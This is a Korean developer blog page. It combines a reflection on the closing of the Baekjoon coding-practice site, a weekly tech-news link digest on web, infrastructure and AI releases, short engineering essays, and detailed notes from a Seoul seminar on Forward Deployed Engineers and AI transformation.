개발자 어썸블로그

프로그램 = 데이터구조 + 알고리즘

2026-04-17T14:03:00+09:00

프로그램 = 데이터구조 + 알고리즘

제가 컴퓨터공학을 처음 배울 때 이런 표현을 어디선가 봤습니다.
데이터구조와 알고리즘은 커다란 두 기둥.

이 두 기둥을 잘 이해하기 위해 에너지를 많이 썼던 것 같네요.
자료구조를 하나하나 직접 만들어보고, 알고리즘 문제를 풀어보고.
학생 시절은 그렇게 주로 보냈던 것 같습니다.

며칠 전 백준 온라인 코딩 연습 사이트가 종료를 발표했습니다.

그간의 노고에 감사드립니다

프로그램 = 데이터구조 + 알고리즘
이제 이 공식은 유효 기한이 다 한 것일까?

프로그램 = LLM모델 + 프롬프트

요즘 시대에도 학생들이 데이터구조와 알고리즘을 풀까요?
글쎄, 예전만큼은 아닐 것 같습니다. AI가 다 해주니까요.
백준의 서비스 종료 소식을 접하고 세상의 변화를 실감할 수 있었습니다.

세상은 바뀌어도 모니터 앞에서 머리를 쥐어뜯으며 보냈던 소중한 시간들은 제 기억에 영원히 남을겁니다.

함께 읽으면 좋은 글:

기술 뉴스 #292 : 26-04-16

2026-04-16T09:19:18+09:00

웹개발 관련

Introducing a new spam policy for "back button hijacking" : 뒤로 가기 하이재킹은 뒤로 버튼을 눌렀을 때 이전 페이지로 가지 않고 광고를 띄우거나 다른 페이지로 가게 하는 것을 얘기한다. 이는 사용자 경험을 나쁘게 하고 조종당하는 느낌이 들기 때문에 구글 서치 센터에서는 뒤로 가기 버튼을 악용하는 페이지는 6월 15일부터 검색 결과에서 제재받을 수 있다.(영어)
WordPress의 정신적 후계자로서 플러그인 보안 문제를 해결하는 EmDash 소개 : Cloudflare에서 두 달 동안 WordPress를 에이전트로 새로 구축해서 Astro 기반의 CMS EmDash를 만들었다. EmDash의 플러그인은 Dynamic Workder에서 동작해서 보안 문제를 해결했고 x402 인터넷 네이티브 결제 표준을 도입해서 누구나 요금을 지급할 수 있다.(한국어)
The uphill climb of making diff lines performant : GitHub의 파일 변경 사항 탭이 대규모 풀 리퀘스트에서는 눈에 띄게 성능이 떨어지는 문제가 발생했다. 기존 React를 사용한 화면에서는 diff line마다 너무 많은 DOM과 이벤트 핸들러가 필요했기에 성능에 영향을 주었고 DOM 구조를 간소화하고 컴포넌트 트리를 간소화하고 useEffect를 최상위에서만 동작하게 해서 최적화했다. 이러한 개선으로 메모리가 50% 줄어들고 INP가 78% 빨라졌지만, 화면에 보이는 부분의 DOM만 유지하는 윈도우 가상화를 통해 P95+에 해당하는 대형 풀 리퀘스트에서 메모리가 10배 감소하고 INP도 10배 가까이 줄어들었다.(영어)
Turn your best AI prompts into one-click tools in Chrome : Chrome이 Skills 기능을 출시해서 프롬프트를 스킬로 저장해서 필요할 때 재사용할 수 있게 되었다.(영어)

그 밖의 개발 관련

GitHub Stacked PRs : GitHub에서 Pull Request를 나누어서 올릴 수 있는 Stacked PR을 만들 수 있는 GitHub CLI 익스텐션을 공개했다.(영어)
새로운 Cursor를 만나보세요 : Cursor가 에이전트 중심으로 인터페이스를 새로 만든 Cursor 3를 발표했다.(한국어)
Claude Code /autofix-pr : Claude Code에서 CI 실패나 리뷰를 자동으로 처리하는 /autofix-pr 커맨드를 추가했다.(영어)
Claude Code monitor tool : Claude Code에서 폴링으로 확인하지 않고 백그라운드 스크립트로 특정 상황을 감지했을 때 에이전트를 실행할 수 있는 모니터 도구가 추가되었다.(영어)
Claude Code Routines : Claude Code에서 스케쥴 설정 외에도 웹훅이나 API를 통해서도 에이전트를 실행할 수 있는 루틴 기능을 공개했다.(영어)
Claude Managed Agents: get to production 10x faster : Anthropic에서 클라우드 기반 대규모 에이전트를 구축하고 배포할 수 있는 Claude Managed Agents를 출시했다.(영어)
AI Contribution Policy for the Flux project : Flux 프로젝트가 기여할 때 AI에 대한 가이드를 만들었다. AI 에이전트를 쓰더라도 사람이 검토해야 하며 커밋에 Co-authored-by를 쓰지 말고 사람이 DCO를 인증해야 하며 AI 에이전트를 쓴 경우 Assited-by로 에이전트와 모델명을 적으라고 안내한다.(영어)

인프라 관련

Amazon S3 Files 정식 출시 – S3 버킷을 파일 시스템처럼 접근 가능 : AWS에서 S3 버킷을 NFS로 연결해서 파일시스템처럼 사용할 수 있는 S3 Files를 발표했다.(영어)
Two Years of Valkey : ValKey가 Redis를 포크한 후 2년간 커밋수, 참여자 수, 참여 조직 수를 분석한 글이다. 현재까지는 ValKey가 더 다양하고 많은 기여를 박으면서 유지되고 있다.(영어)
Kubernetes Monitoring Helm chart v4: Biggest update ever! : Grafana가 Kubernetes 모니터링 Helm 차트의 새 버전을 공개했다. v3에서 다양한 환경에서 설정하기 어려웠던 부분을 개선해서 쉽게 설정하고 유연하게 사용할 수 있도록 개선되었다.(영어)
Introducing clickhousectl: the CLI for ClickHouse local and cloud (beta) : ClickHouse의 공식 CLI인 clickhousectl이 베타 버전으로 공개되었다.(영어)
Docker Offload now Generally Available: The Full Power of Docker, for Every Developer, Everywhere. : Docker를 클라우드 환경에서 실행하는 Docker Offload기능이 공개되었다. Docker Desktop 앱에서 바로 사용할 수 있으며 컨테이너 엔진을 클라우드에서 실행해서 기존에 사용하던 모든 명령어를 사용할 수 있다.(영어)
Secure private networking for everyone: users, nodes, agents, Workers — introducing Cloudflare Mesh : Cloudflare에서 프라이빗 네트워크를 연결하고 에이전트가 안전하게 접근할 수 있게 하는 Cloudflare Mesh를 발표했다. 이를 통해 에이전트가 Cloudflare에 안전하게 접근할 수 있고 모바일, 노트북, 서버에서 모두 사용할 수 있다.(영어)

AI 관련

Project Glasswing : Anthropic의 새로운 프론티어 모델인 Claude Mythos에서 소프트웨어 취약점을 악용하는데, 뛰어난 능력을 보여준다는 것을 발견하고 소프트웨어를 보호하기 위해 AWS, Apple, Broadcom, Cisco, CrowdStrike, Google, JPMorganChase, Linux 재단, Microsoft, NVIDIA, Palo Alto Networks와 함께 Mythos Preview를 제공하고 시스템을 보호할 수 있게 하는 Glasswing 프로젝트를 시작한다고 발표했다.(영어)
System Card: Claude Mythos Preview : Anthropic의 새로운 프론티어 모델인 Claude Mythos Preview를 설명한 245페이지의 문서다.(영어)
Gemma 4: Byte for byte, the most capable open models : Google이 오픈 소스 모델인 Gemma 4를 공개했다. Gemma 4는 Effective 2B(E2B), Effective 4B(E4B) , 26B Mixture of Experts(MoE) , 31B Dense 네 가지 크기로 제공되며 추론 능력, 에이전트 기반 워크 플로, 코드 생성, 영상 및 오디오에서 뛰어난 성능을 보여주고 더 긴 컨텍스트를 지원하고 140개 이상의 언어를 지원한다.(영어)
GLM-5.1: Towards Long-Horizon Tasks : Z.ai에서 새로운 플래그십 모델 GLM-5.1을 발표했다. GLM-5.1은 코딩 기능이 크게 향상되었고 더 긴 시간 동안 에이전트 기반 작업에서 효율성을 유지하도록 설계되었다.(영어)
Qwen3.6-Plus: Towards Real World Agents : Alibaba에서 새로운 모델 Qwen3.6-Plus를 발표했다.(영어)
The advisor strategy: Give agents an intelligence boost : Anthropic에서 오케스트레이터 모델의 반대라고 할 수 있는 어드바이저 모드를 도입했다. 어드바이저 모드는 Sonnet이나 Haiku를 실행자로 사용하면서 판단이 필요할 때는 Opus를 어드바이저로 사용하면 저 적은 비용으로 더 나은 결과를 만들 수 있다.(영어)
Gemini 앱, 이제 Mac에서 사용 가능 : Google Gemini의 macOS 앱이 출시되었다.(한국어)

볼만한 링크

프롬프트에서 하네스까지 — AI 에이전틱 패턴 4년의 기록 : GitHub Copilot이 나오고 ChatGPT가 나온 뒤 지금까지 4년 사이에 패러다임은 프롬프트 엔지니어링에서 컨텍스트 엔지니어링을 거쳐 하네스 엔지니어링의 시대로 바뀌었고, 이는 그 이전 시대가 실패하면서 다음 시대로 이어진 것이다. 지난 4년간 어떤 변화가 있었는지를 자세히 다룬 글이다.(한국어)
Agent responsibly : 코딩 에이전트가 생산성을 크게 향상 시키지만 운영 환경을 이해하지 못하므로 위험한 코드를 배포할 수 있다. AI에 의존하는 것과 활용하는 것은 다르므로 AI가 생성한 코드의 책임을 져야 한다. 이를 위해서 자율 주행 방식의 배포로 문제가 생기면 자동으로 롤백할 수 있게 구성하고 배포 때뿐 아니라 지속적으로 테스트를 수행하고 가이드라인을 실행할 수 있게 만들어서 에이전트가 이를 따르도록 해야 한다. 에이전트를 활용하되 전적으로 의존하지 말라고 조언한다.(영어)
LLM Wiki : Andrej Karpathy가 LLM을 활용해서 개인 지식 기반을 구축하는 패턴을 공개했다. 이는 문서를 LLM에 주고 질문하면 LLM은 매번 문서를 읽어야 하므로 구조화되고 연결된 마크다움 파일 모음으로 위키를 구축해서 관리하는 방법이다. 모든 것은 LLM이 작성하고 관리하게 되는데 원본 자료를 모아두고 LLM이 이에 대해 정리한 위키를 작성하고 LLM이 따라야 할 워크플로우를 관리하는 문서인 스키마를 유지하도록 하는데 이를 LLM에 제공해서 직접 사용할 수 있게 한 문서다.(영어)
Your parallel Agent limit : 병렬로 에이전트를 여러 개 실행하는 경우 금방 지치게 되거나 생각보다 병렬로 실행하는 수를 늘리기가 쉽지 않다. 이는 컨텍스트 전환에 생각보다 큰 비용이 들고 백그라운드에서 실행되는 작업의 신뢰성을 확인해야 하는 부담이 생기게 된다. 그래서 확장성의 핵심은 이해의 처리량이 아니라 감독의 처리량이 되어야 하고 자신의 한계가 어디인지를 이해해야 파악해야 한다.(영어)
Is the FDE role becoming less desirable : FDE(Forward Deployed Engineer)를 기업들은 원하지만, 개발자는 별로 관심이 없는 것처럼 보인다. 현장에 배치되어 고객과 핵심 개발팀을 오가며 일하는 FDE의 역할을 플랫폼 엔지니어, 소프트웨어 엔지니어, 솔루션 아키텍트의 공통되는 영역을 담당하는 것으로 생각했으나 실제 FDE를 맡았던 사람들은 FDE가 실제로는 솔루션 아키텍트와 거의 비슷한 역할을 해서 실망했다고 얘기했다고 한다.(영어)
Endgame for the Open Web : 개방형 웹은 놀라운 개념으로 그동안 계속 공격당해 왔지만 AI로 훨씬 강한 공격을 받고 있다. 이번 공격은 존재 자체가 위협받고 있는데 무료컨텐츠로 수익화하기 어려워졌고 AI가 컨텐츠를 사용하고도 출처를 표시하지 않기 때문에 많은 서비스가 무료 접근을 차단하고 있다. 이는 몇몇 플랫폼이 공격받는 문제가 아니라 웹을 개방적으로 유지하는 사람들의 관대함과 헌식이 악용당하고 착취당하는 게 더 큰 문제라고 얘기한다.(영어)
Prepping for the endgame of the open web : 바로 위의 개방형 웹에 대한 공격에 관한 생각은 동의하지만, 그동안 개방형 웹에 대한 공격은 항상 있었지만, 그동안 했듯이 개발형 웹을 계속 발전시키고 해를 끼치려는 기술에 저항해 나가면 이겨낼 수 있다고 얘기한다.(영어)

IT 업계 뉴스

SpaceX Files to Go Public, Setting Stage for Huge I.P.O. : Elon Musk의 로켓/위성 제조업체인 SpaceX가 IPO 신청서를 제출했다. 6월 상장에서 500~750억 달러를 조달하는 것을 목표로 하고 있으며 기업 가치가 1조 달러 이상이 되어 역사상 최대 규모의 IPO가 될 것으로 예상된다.(영어)
Cirrus Labs to join OpenAI : 2017년에 창업해서 SaaS CI/CD를 만들고 Apple Silicon을 위한 가상화 솔루션인 Tart를 만든 Cirrus Labs가 OpenAI에 인수되었다.(영어)
We’ve raised $17M to build what comes after Git : GitHub의 공동 창업자 중 한 명인 Scott Chacon이 창업한 GitButler가 1,700만 달러 규모의 시리즈 A 투자를 유치했다.(영어)

프로젝트

rhwp : Rust와 WebAssembly로 만든 오픈소스 HWP/HWPX 뷰어 및 에디터.
Bibim : 국한문/CJK 통합 입력기로 데모로 확인해 볼 수 있다.
SCIENCE@home : 로컬에 CLI를 설치하면 LLM 토큰이 남을 때 논문 읽고 연결해서 과학 발전에 기여할 수 있는 프로젝트.
Open Agents : Vercel에서 공개한 에이전트 코딩 클라우드 환경.
OpenSRE : 오픈소스 SRE 에이전트
purplemux : tmux 기반 멀티 세션 대시보드.

버전 업데이트

DuckLake v1.0 : 데이터 레이크, 릴리스 공지
Optique v1.0.0 : TypeScript용 타입세이프 CLI 파서, 릴리스 공지
Node.js v25.9.0 (Current) : 자바스크립트 런타임, 릴리스 공지
kubectx v0.11.0 : kubectl에서 컨텍스트를 쉽게 변경하는 도구, 릴리스 공지
- -r 플래그로 읽기 전용 쉘을 띄울 수 있다.
Storybook v10.3.0 : React, Vue3, Angular UI 컴포넌트 개발 도구, 릴리스 공지
ClickHouse v26.3 : 컬럼형 데이터베이스, 릴리스 공지
Zig v0.16.0 : 프로그래밍 언어, 릴리스 공지

댓글 쓰기

의존성 선점

2026-04-17T09:00:55+09:00

동료에게 의존성을 선점해야 한다고 조언한다. '제어의 역전' (IoC, Inversion of Control) 이라는 개념은 위성 도메인에서 중요한 개념이다. 많은 것이 표준화되지 않은 이 산업에서 전체를 오케스트레이션 하는 내가 부분적인 것에 의존하지 않는 것은 프로젝트의 성패를 좌우할 정도로 중요하다.

예를들면 위성 탑재체를 개발하는 우리는 위성 본체에 의존한다. 본체 회사에서 인터페이스를 정의할 때까지 기다려야 하고 그들이 정의한 인터페이스를 새롭게 개발해야 한다. 또 프로젝트가 바뀌어 본체 회사가 바뀌면 새로운 본체에 맞게 우리를 바꾸어야 한다. 우리가 본체에 의존하는 것이다.

이 의존성의 방향을 바꾸어야 한다. 우리가 표준화된 인터페이스를 먼저 정의해 두고 그들이 우리에게 의존하게 하는 것이다. 우리는 프로젝트가 바뀌어도 일관된 인터페이스를 사용할 수 있다. 우리 같은 소규모 팀에서 이 원칙을 가져가는 것은 중요하다. 본체를 부품처럼 갈아끼우게 설계해야 한다.

이걸 모르고 본체에 의존성을 그대로 방치하고 무한 확장하도록 사업을 디렉팅하면 큰 곤란을 겪게 될 것이다. 기계, 전자 하드웨어가 반드시 따라 붙는 이 산업에서 잘못된 디렉팅은 되돌리는 것도, 방향을 바꾸것도 무척 어렵게 한다. 단순히 코드를 버리고 새로 짜는 수준이 아니기 때문이다.

위성 개발에서 디렉터가 엔지니어링 원칙을 이해하고 있어야 하는 이유라고 생각한다.

사랑하는데 드는 시간 , AI가 만들어 줄까?

2026-04-16T09:13:04+09:00

아내와 아이들을 온전히 사랑하고 섬기는데는 생각보다 훨씬 많은 시간과 노력이 든다. 이렇게 일만 열심히 해서 돈만 벌어와서는 절대 이룰 수 없는 간극이 존재함을 요즘 느낀다. 훨씬 일을 적게 해야한다. AI가 어쩌면 이런 일을 도와줄 수 있겠다는 생각이 든다.

서로 연결되는 엔지니어링 표현 (문제와 해법 연결하기)

2026-04-16T09:08:47+09:00

어딘지 모르게 붕 떠있는 것 같은 동료의 주간보고를 조용히 보고 있으니 이유를 알 것 같았다. 그가 하고 있는 일은 온통 해법 영역 (또는 기술 영역이라고도 하는)에 대한 표현으로 가득했다. 그의 일은 사실 문제 영역 (또는 도메인 영역이라고도 하는)과 연결되어 표현되어야 했다.

그의 성과는 표현만 보면 비지니스를 하는 사람이나 프로젝트 관리자나 심지어 다른 일을 하는 엔지니어 동료와도 연결이 안된다. 우리의 일은 적절한 표현을 통해 연결되어야 관리되고 협업될 수 있다.

예를들면 "메시지 큐 크기를 조정했다"라고 적어 놓으면 누구도 저 일을 왜 했는지 무엇을 위해 했는지 알지 못한다. 문장의 상위 문맥에 "고객 알림 메시지 누락 문제 해결" 같이 표현해주어 문제와 해법을 연결해 주어야 우리는 서로 연결될 수 있다.

그냥 파파고 쓰면 되잖아!

2026-04-16T08:55:59+09:00

아빠, 나 영어를 왜 배우는지 모르겠어! 그냥 파파고 쓰면 되잖아! 침대에 아이와 누워있는데 아이가 묻는다. 그래서 2026년 지금 나의 심정을 담아 대답해줬다. 일을하면 사람들이 파파고를 쓰는 동안 기다려 주지를 않는단다. 아빠는 아빠가 영어로 듣고 말할 수 없다는게 무척 안타까워. 왜냐하면 어떤 서비스를 한국에 팔던걸 외국에도 똑같이 나가 팔아보면 되는데 그럴 수가 없어서 너무 안타까워. 그래도 앞으로는 (기술이 더 좋아지면) 어떻게 될지는 모르겠어.

Seoul | Claude Code FDE Night 2026 세미나 후기

2026-04-18T10:59:09+09:00

2026 Claude Code FDE Night

Seoul | Claude Code FDE Night · Luma 에 다녀오고 후기를 남깁니다.

일시: 2026년 4월 17일(금) 18:30 ~ 21:00
장소: 서울 교대역 인근
주최: Claude Community Events (Anthropic 후원)
공동 주최: Worxphere · SpaceY(DIO)
진행: 최훈민 (Claude Community Ambassador, Seoul)

1부. The FDE Playbook — 실리콘밸리의 FDE 운영법

최규환 (Cognition)

FDE (Forward Deployed Engineer): 본사에 앉아 제품을 만드는 엔지니어가 아니라, 고객사에 직접 파견되어 그 고객의 문제를 풀면서 제품을 커스터마이징·적용시키는 포지션. 컨설턴트(문제 정의) + 엔지니어(직접 구현) + 세일즈(계약 확장)가 한 몸에 섞인 직군으로, Palantir가 만들어 유명해진 개념. 최근 Cognition·Gecko Robotics 등 실리콘밸리 기업에서 가장 많이 뽑는 직군 중 하나.`

FDE 모션 (motion): "FDE라는 직군을 어떻게 배치하고, 어떻게 고객사와 일하고, 어떻게 딜을 따고 제품을 적용해 나가는지에 대한 운영 방식 전체"를 가리키는 업계 용어. "Sales Motion", "PLG Motion"처럼 영어권에서 널리 쓰이는 "~하는 방식·전개 형태"라는 뜻.`

FDE 모션의 변화
- 툴 발전에 따라 Delta가 Echo의 일까지 흡수
- 실행 속도가 대폭 빨라지면서 FDE 모션 자체가 툴·회사·제품에 따라 갈라지는 중
- Claude Code도 마찬가지로 이 변화의 축에 있음
FDE 모션의 장점
- 고객에게 Over-fit된 밸류 제공 가능
  Over-fit: 머신러닝의 "과적합"에서 빌려온 표현. 여기서는 "해당 고객에게만 과하게 최적화된, 그 고객에 딱 맞는" 정도의 뜻. 일반화된 SaaS로는 못 주는 수준의 밀착 가치를 고객 한 곳에 극단적으로 맞춰 제공한다는 의미.
- 아주 빠르게 움직일 수 있음
- 100명의 FDE를 고객사에 직접 보낼 수 있다면 계약 성공률이 크게 상승
- 밸류 트래킹에 결정적으로 유리
FDE 모션의 단점 (많이들 간과함)
- 코스트가 매우 큼
  - Over-fit 하려면 그만큼 FDE를 채용해야 함
  - 한국처럼 채용/해고가 자유롭지 않은 환경에서는 리스크가 훨씬 큼
- 업무량이 극단적으로 많음
  - 여러 지역 고객(벤츠 등)을 맡으면 주 15시간 이하로 일하는 주가 거의 없음
  - 주말 근무 일상, 번아웃이 빠르게 옴
- 고객은 보통 자기가 뭘 원하는지 모름
  - 그것을 Clarify 하는 것이 FDE의 역할
  - 다수 고객을 동시에 상대하면 벡터가 사방으로 퍼짐
  - 이 고객은 이걸, 저 고객은 저걸, 심지어 제품 방향성과 어긋나는 것까지 요구
  - 모든 것을 고려해 완벽한 의사결정을 해야 하므로 효율성이 떨어짐
FDE 모션은 "들어가면 빠져나오기 어려움"
- 제품을 도메인·프로젝트에 커스터마이징해야 할 때만 활용 권장
- 단, 제품과 회사 문화 모두가 준비되어 있어야 함
제품 측면 조건 — 반드시 커스터마이징 가능한 인프라여야 함
- Palantir, Gecko, Cognition 모두 "커스터마이징 가능한 인프라"로 만들어진 제품
- Palantir 출신들이 Gecko Robotics로 이동해 함께 일하는 배경
- 그들의 공통점: 무조건 Generalize 함
  Generalize: 특정 고객을 위해 하드코딩하지 않고, 어떤 고객에도 통하도록 일반화된 형태로 짜는 것. FDE가 만든 코드가 "고객 A 전용" 이 되면 쓰레기 코드가 쌓이지만, "설정만 바꾸면 B 고객에도 쓰이는" 구조로 만들면 자산이 됨.
  - 로직을 하드코딩하지 않고 어떤 고객에도 쓰일 수 있도록 설정값 중심으로 구성
  - 대표 예시: JSON/YAML 플러그인 기반 아키텍처
- 커스터마이징 불가 구조에서 FDE 모션을 하면 쓰레기 코드와 Tech Debt만 누적됨
조직 측면 조건 — 명확한 의사결정자(Division) 필요
- 다양성이 늘수록 "이 제품이 무엇을 위한 것인지"를 잊기 쉬움
- 제품의 비전과 추구 방향을 제시할 수 있는 한 명 또는 한 그룹이 있어야 함
- 어떤 요구는 수용(희생)하고, 어떤 요구는 배제할지를 명확히 선언할 수 있어야 함
개인적 전망
- 지금 미국에서 가장 많이 뽑히고 있는 직군이 FDE
- 단, 많은 회사가 앞으로 나아가다가 포기할 가능성 높다고 봄
- 2년 이상 FDE를 운영한 회사는 Palantir, Gecko 뿐 — 단점들이 앞으로 드러날 것
- Founding Engineer 개념으로의 FDE는 괜찮을 수 있음
  Founding Engineer: 창업 초기 단계에 합류해서 CEO·CTO와 거의 공동창업자처럼 움직이는 엔지니어. 제품·기술·비즈니스 전반에 관여. FDE를 이 개념으로 소수 운용하는 것은 스타트업에서 합리적이라는 맥락.
한국에서의 FDE 적용 — 개인 의견
- SI 역할과의 차이
  - "자사 제품이 없다"는 차이라고 들었지만 실제로 꼭 그렇지도 않음
  - 이 부분은 더 생각해 볼 필요가 있음
- 온프렘 요구성
  - 한국은 온프렘 배포 비중이 높아 속도가 훨씬 느림
  - SaaS 형태로 배포하지 못하고 백엔드를 가서 바꿔야 하는 구조
  - FDE의 장점은 속도인데, 그 속도를 받아줄 구조가 없으면 적용 난이도 급상승
- 조직 문화
  - 경력 낮은 FDE가 전무급에게 "이건 이렇게 해야 합니다"라고 직접 말하기 어려움
  - 한국은 그 구조 자체가 안 됨
  - 홍콩에서는 최고위부터 말단까지 직접 만나 각 직급의 고충을 청취 후 제안 가능
  - 한국·중동에서 택한 방법: "나보다 높은 직급의 사람을 이미 설득해 놓고 미팅에 모셔오기"
  - 그렇게 조직의 다이나믹을 천천히 바꿔 나가는 우회 전략 필요
결론 및 권장
- FDE = 커스터머 팀의 CTO 역할로 설명되는 직군 (Palantir/Gecko 공통)
- 스타트업에서 Founding Engineer 개념으로 운영하는 것은 좋음
- FDE 모션은 번아웃과 Run-way 단축을 야기 — 조심스럽게 접근 필요

Q&A

Q. Delta와 Echo의 페어링·협업 방식이 궁금합니다.

Delta / Echo: Palantir의 FDE 조직 내부 구분. 한 팀 안에서도 역할이 나뉘어 있음. Echo: 고객사 의사결정자와 관계 형성, 제품 정의, 딜 성사 등 "비즈니스·전략 쪽" 담당 Delta: 고객사 기술 담당자와 스펙 조율, 실제 컨피규레이션과 개발 수행 등 "엔지니어링 쪽" 담당 최근에는 툴이 발전하면서 Delta가 Echo의 일까지 흡수하는 방향으로 역할이 합쳐지고 있음.

최규환

어떤 Delta냐에 따라, 제품이 얼마나 도메인 특화되어 있느냐에 따라 달라짐
일반적으로 Palantir 관점 기준
- Echo: 제품 정의, 의사결정자 탐색, 딜 메이킹, 고객사 조직 내 영향력 행사
- Delta: 테크니컬 고객 미팅, 스펙 정의, 컨피규레이션, 제품 직접 개발
다만 최근 툴 발전으로 이 구분 자체가 빠르게 달라지고 있음

Q. 어떤 문제를 풀면 마무리되는지, 그 뒤에는 어떤 식으로 일이 이어지나요?

최규환

회사마다 다르지만 Cognition 기준으로 설명하면
- 초반에 FDE를 많이 배치 (인터그레이션·컨피규레이션 수요 ↑, 고객 마음 얻기 필요)
- 초반에 거의 90% 리소스를 소진
- 그 이후에는 고객이 온보딩되어 찾는 횟수가 현저히 줄어듦
파이프라인을 5명 정도의 고객으로 균일하게 분산시키면 지속 가능한 구조가 됨
인프라 서포트는 후기에도 들어가지만, 전반적 소요 리소스는 "초기 90% → 후기 10%" 패턴

2부. Fireside Chat #1

이선민 (defytheodd CEO, 前 LF AI 수석) · 황현태 (SpaceY 대표)

AX (AI Transformation): DX(Digital Transformation)의 뒤를 잇는 개념으로, "기업의 업무·조직·프로세스 전체를 AI 기반으로 재설계하는 전환 작업". 단순히 AI 도구를 도입하는 것이 아니라, 일하는 방식 자체를 AI Native 구조로 바꾸는 것을 의미.

AI Native: 처음부터 AI를 전제로 설계된 조직·제품·사람. 기존 워크플로우에 AI를 "끼워 넣는" 게 아니라, AI가 있는 걸 기본값으로 두고 일·제품·의사결정을 구성하는 방식.

K-FDE: 세미나 중 이선민 님이 제안한 농담 섞인 개념. "한국형 FDE" — 야근·회식·음주가 가미된 한국 특유의 고객사 파견 엔지니어 형태를 가리키는 표현.

Q. 스페이스와이는 FDE 직군을 어떻게 정의하는가?

황현태 (SpaceY)

스페이스와이는 AX(AI Transformation) 기업
AX를 수행하기 위해 고객사에 파견되는 엔지니어 = 스페이스와이의 FDE
FDE가 푸는 문제: "레거시 조직을 AI Native 팀으로 전환하는 길"
즉, AX를 수행하는 FDE

Q. 사내 FDE로서 본인의 역할을 어떻게 정의하는가?

이선민 (defytheodd)

한국에서는 FDE 직종에 대한 공식적 정의 자체가 거의 없는 상태
본인이 일하는 방식이 FDE에 가까운지 돌아보며 K-FDE 개념으로 설명
코그니션 FDE 설명과 매우 흡사한 경험
- 초반 온보딩·Implementation까지 90% 리소스 투입
- 레거시 시스템에 통합된 이후부터는 점점 찾는 시간이 줄어듦
개인 사례 (LF)
- Phase 1 6개월을 마친 뒤 주 5일 → 주 1일로 전환
- 본인이 제안해 성사 (원래는 나가려다 주 1일이라도 가능하냐는 요청으로 이어짐)
현재 주 1일 근무 2개월 차
- 멀티 에이전트 시스템을 기존 레거시에 모두 통합해 둠
- 24시간 돌아가는 에이전트들이 룰과 패턴을 수집·준비
- 미리 Ready 해두니 실제 출근일에는 주간회의 참여 + 컨펌 정도면 충분
- 거의 재택이 가능한 수준까지 축소됨
K-FDE 의 특징 (본인 관점)
- 라포 쌓기 단계에 회식이 가미되면 K-FDE
- 야근이 곁들여지면 더욱 K-FDE
- 음주와 감정까지 더해지면 K-FDE 완성

황현태 (SpaceY)

FDE = 컨설턴트 + 엔지니어
스타트업에게 컨설팅을 맡기는 엔터프라이즈는 없음 → 정면승부 대신 우회 전략 설계
스페이스와이의 FDE 상(像)
- 창업 경험 있음
- 엔지니어링 실력이 뛰어남
- 비즈니스 토크 가능
- 멀티태스킹이 빠른, 다소 젊은 인재
"3개월짜리 계약을 1~10일 만에 끝내 버리는 전략"
- 창의성을 발산시키면 2주 후 고객의 창의성이 고갈됨
- 그때부터 디올(dio)타임 — 우리가 조직 컨설팅을 시작
- 시킬 게 없을 때, 하나씩 짚으며 AX 관련 스텝을 밟아 나감
이것이 K-FDE의 Version 1.5 ~ 2 (말빨이 약하니 빨리 일 끝내고 컨설팅 단계로 진입)
채널톡 FDE와의 차이: 채널톡 FDE는 채널톡 관련 업무, 스페이스와이는 AX 관련 스텝을 밟음

Q. 최근 몇 달간 "하입"이라 시도했지만 결국 버리게 된 것, 반대로 남긴 것은?

이선민 (defytheodd)

노이즈 95%의 시대 — 노이즈를 Align해 주는 것이 FDE의 역할 중 하나
비즈니스 가성비·공수산정·ROI 관점에서 본질을 짚어주는 것이 핵심 역할
버린 것: Hermes Agent
Hermes Agent: 자가개선(Self-improving)을 표방하는 오픈소스 에이전트 프레임워크 중 하나. OpenFlow 대비 낫다는 얘기로 한때 주목받았음.
- "OpenFlow보다 낫다"는 얘기로 시도했지만 본인 레거시 환경에는 맞지 않음
- Self-improving이라는 말과 달리 결국 노가다가 들어감
남긴 것: Karpathy가 올리는 한 장짜리/몇 개 파일짜리 도구들
Karpathy (Andrej Karpathy): 前 OpenAI·Tesla AI 리드. 현재 개인 연구자·교육자로 활동하며 GitHub에 단일 파일짜리 미니멀한 AI 도구들을 종종 공개함. 업계에서 "복잡한 프레임워크보다 Karpathy가 올린 몇 줄짜리 코드가 더 실용적"이라는 평이 많음.
- Karpathy Loop / Auto Research / LLM Wiki
- 그 철학을 계승한 오픈소스 Graph Bit 등
- 코드베이스에 적용 즉시 효과
  - 토큰 사용량이 눈에 띄게 감소
  - 목표 달성까지 걸리는 시간도 크게 단축
새로운 걸 빨리 시도 → 아닌 건 즉시 버리는 사이클이 중요

황현태 (SpaceY)

기술적 하입 자체에는 관심 없음
- "안정적 기술만 써야 한다"는 꼰대 마인드가 아니라, 수없이 써봐서 관심이 식은 것
핵심은 문제 해결 — 그리고 문제 파악보다 어려운 게 엔터프라이즈의 이해관계자 지형
- 상무님이 불러서 갔는데 팀장이 저지(?) 하는 상황
- 팀장이 풀려는 문제와 상무 라인이 풀려는 문제가 다름
- 대표 보고 다녀오면 모든 게 뒤집히는 현상
스페이스와이의 접근
- 옛날에는 "문제 하나만 잘 풀면 된다"였지만 지금은 6명 모두의 문제를 풀어줘야 하는 시대
- 실행 비용이 제로이기 때문에 우선순위 없이 다 풀되, 누구에게 제일 잘 보일지는 전략적으로 판단
- 60년대생 부대표님(회사생활 40년)이 조직 상황 해석의 핵심 축
"클로드 뭐든 써도 됨" — 중요한 건 어떤 문제를 누구의 관점에서 푸느냐

Q. 최근 반년간 의사결정의 흐름, 지금 4월 시점의 경로는?

황현태 (SpaceY)

Vibe Coding에 대한 판단 흐름
Vibe Coding: Andrej Karpathy가 2025년 초 퍼뜨린 용어. 개발자가 코드 한 줄 한 줄을 직접 쓰지 않고, AI에게 자연어로 "이런 느낌의 것을 만들어줘"라고 지시하며 결과물을 받아 조정해 나가는 개발 방식. AI가 대부분의 실제 코드를 생성.
- 10월 말 리즈닝 모델 등장까지: 그냥 멋부림
  리즈닝 모델 (Reasoning Model): 답을 바로 내놓지 않고 내부적으로 생각(reasoning) 과정을 거친 후 응답하는 AI 모델. OpenAI o1, Claude의 Extended Thinking 등이 대표. 복잡한 코딩·수학·논리 문제에서 성능이 크게 향상됨. 리즈닝 모델 등장 시점부터 Vibe Coding이 "장난감"에서 "실무 도구"로 넘어갔다는 맥락.
- 12월 말부터는 본인도 손 떼기 시작, 자기 자신을 실험체로 사용
  - React 못하지만 React 개발자라 속이고 프리랜서로 실제 활동
  - "된다"는 확신을 얻음
12월부터 대기업이 스페이스와이를 호출하기 시작
- 공통점: 사내 AX팀을 1년 정도 운영하다가 한계 느끼고 연락
AX의 세대론 (스페이스와이 관점)
